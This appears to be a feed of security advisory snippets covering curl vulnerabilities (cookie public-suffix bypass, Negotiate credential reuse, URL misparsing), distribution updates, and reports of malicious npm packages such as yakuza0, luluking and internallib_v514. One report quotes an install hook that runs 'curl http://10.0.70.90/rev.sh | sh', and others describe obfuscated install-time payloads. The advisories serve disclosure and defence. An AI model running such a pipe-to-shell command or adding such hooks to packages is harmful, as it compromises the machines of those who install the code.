JLSEC-2026-1213 A flaw in curl’s cookie parsing logic allows a malicious HTTP server to set 'super cookies' that...

A flaw in curl’s cookie parsing logic allows a malicious HTTP server to set 'super cookies' that bypass the Public Suffix List check. This enables an attacker-controlled origin to inject cookies that curl subsequently scopes and transmits to unrelated third-party domains...

curl: CVE-2026-19931: Negotiate ambient user conn reuse

Summary On Windows with SSPI/Negotiate, curl 8.21.0 can reuse a connection authenticated with ambient credentials for a later request using different explicit credentials. In urlmatchauthnego, the credential comparison is skipped when conn-creds == NULL. This allows a connection authenticated as...

MAL-2026-13605 Malicious code in yakuza0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9952a92dd18e2353ebb4f2d8064884e7be770d23770096af6dbe1844d8b5fd6 The package ships code that binds outbound network calls to a hardcoded non-standard host, https://registry-pxnpm.rdc.nfjbill.ren, from cli/index.js...

Malicious code in yakuza0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9952a92dd18e2353ebb4f2d8064884e7be770d23770096af6dbe1844d8b5fd6 The package ships code that binds outbound network calls to a hardcoded non-standard host, https://registry-pxnpm.rdc.nfjbill.ren, from cli/index.js...

Security Bulletin:Vulnerability in Curl affects IBM Netezza Appliance

Summary The Curl package is used by IBM Netezza Appliance. IBM Netezza Appliance has addressed the applicable CVECVE-2026-3805 Vulnerability Details CVEID:CVE-2026-3805 DESCRIPTION: When doing a second SMB request to the same host again, curl would wrongly use a data pointer pointing into already...

curl: URL API: triple-slash parses path segment as hostname

Summary libcurl's URL API misparses http:///host/path. Per RFC 3986, the authority between // and / is empty, so /host/path is the path. But parseurl in lib/urlapi.c treats the first segment as the hostname. On line 1087, the slash counter i reaches 3, which is within the valid 1-3 range, and hos...

[SECURITY] Fedora 43 Update: curl-8.15.0-8.fc43

curl is a command line tool for transferring data with URL syntax, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS, FILE, IMA P, SMTP, POP3 and RTSP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies,...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

curl: Cookie jar load skips public suffix check on PSL builds

On curl 8.21.0 with libpsl official curl.se 8.21.06 win64, Features: PSL, HTTP Set-Cookie: Domain=co.uk is dropped in verbose. The same cookie loaded from a Netscape jar file or a Set-Cookie: line in that file is accepted and later sent to unrelated hosts under the suffix bank.co.uk, other.co.uk...

EulerOS 2.0 SP13 : curl (EulerOS-SA-2026-2962)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection when asked to do an authenticated HTTPS request after a Negotiate-authenticated one,...

Critical Photon OS Security Update - PHSA-2026-4.0-1061

Updates of 'curl' packages of Photon OS have been released...

EulerOS 2.0 SP15 : curl (EulerOS-SA-2026-2879)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A vulnerability, which was classified as problematic, has been found in cURL up to 8.19.0 Network Utility Software. Affected by this issue is some...

EulerOS 2.0 SP15 : curl (EulerOS-SA-2026-2920)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A vulnerability, which was classified as problematic, has been found in cURL up to 8.19.0 Network Utility Software. Affected by this issue is some...

EulerOS 2.0 SP13 : curl (EulerOS-SA-2026-3012)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection when asked to do an authenticated HTTPS request after a Negotiate-authenticated one,...

MAL-2026-13374 Malicious code in @chnayser/server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65 The package's Express server started via the advertised startServer/createApp entry points mounts a GET route at /api/update whose handler executes...

Malicious code in voicemail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 568a31285f414d8125b5749bc8e070157ffd403ce46e46da637cc1452f99d19f package.json declares both preinstall and postinstall lifecycle scripts that invoke curl against a hardcoded webhook.site endpoint...

MAL-2026-12397 Malicious code in luluking (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3b88d4d8ec638e21c3b126dc9416ed8e2f3781bb1cc1d8ebe5a6579d698c6082 On npm install, the package's postinstall hook runs index.js, which reconstructs a URL and shell command from String.fromCharCode numeric arrays,...

Malicious code in luluking3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a95cec14b778c5a61008305c1a4ee8155f777dbe02b6ae5cff25748584105ee On npm install, the package's postinstall hook runs index.js, which reconstructs a URL and shell command from String.fromCharCode char-code arrays...

Malicious code in luluking2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 495a71c4dcddec545026181c7faeef59cf4c79b4816a148fb88c59c5465e8c97 On npm install, the package's postinstall hook runs index.js, which reconstructs a URL from a char-code array String.fromCharCode.apply on a numeric...